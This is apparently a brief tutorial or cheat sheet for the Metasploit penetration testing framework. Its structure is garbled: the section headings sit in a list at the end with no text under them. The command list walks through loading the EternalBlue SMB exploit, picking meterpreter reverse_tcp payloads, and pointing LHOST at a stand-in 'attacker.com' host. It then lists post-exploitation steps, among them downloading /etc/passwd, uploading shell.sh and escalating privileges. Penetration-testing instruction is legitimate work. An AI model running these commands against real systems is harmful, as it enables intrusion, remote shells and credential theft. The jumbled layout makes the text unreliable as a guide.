Introduction
Metasploit Framework is the world's most used penetration testing framework. It provides tools for every stage of a pentest.
Getting Started
- Start console: msfconsole
- Search exploits: search type:exploit platform:windows smb
- Use exploit: use exploit/windows/smb/ms17_010_eternalblue
- Show options: show options
- Set options: set RHOSTS 192.168.1.100
- exploit/multi/handler — Generic listener
- exploit/windows/smb/ — Windows SMB exploits
- exploit/linux/http/ — Linux web exploits
- payload/windows/meterpreter/reverse_tcp — Windows
- payload/linux/x64/meterpreter/reverse_tcp — Linux
- payload/python/meterpreter/reverse_tcp — Cross-platform
- Find target: search type:exploit apache
- Configure: set RHOSTS target.com
- Set payload: set PAYLOAD linux/x64/meterpreter/reverse_tcp
- Set listener: set LHOST attacker.com
- Exploit: exploit
- System info: sysinfo, getuid
- File ops: download /etc/passwd, upload shell.sh
- Network recon: ifconfig, route, netstat
- Privilege escalation: getsystem
Module Types
Exploits
Payloads
Exploitation Workflow
Post-Exploitation
Conclusion
Metasploit is powerful but must be used responsibly. Master the basics in a lab first.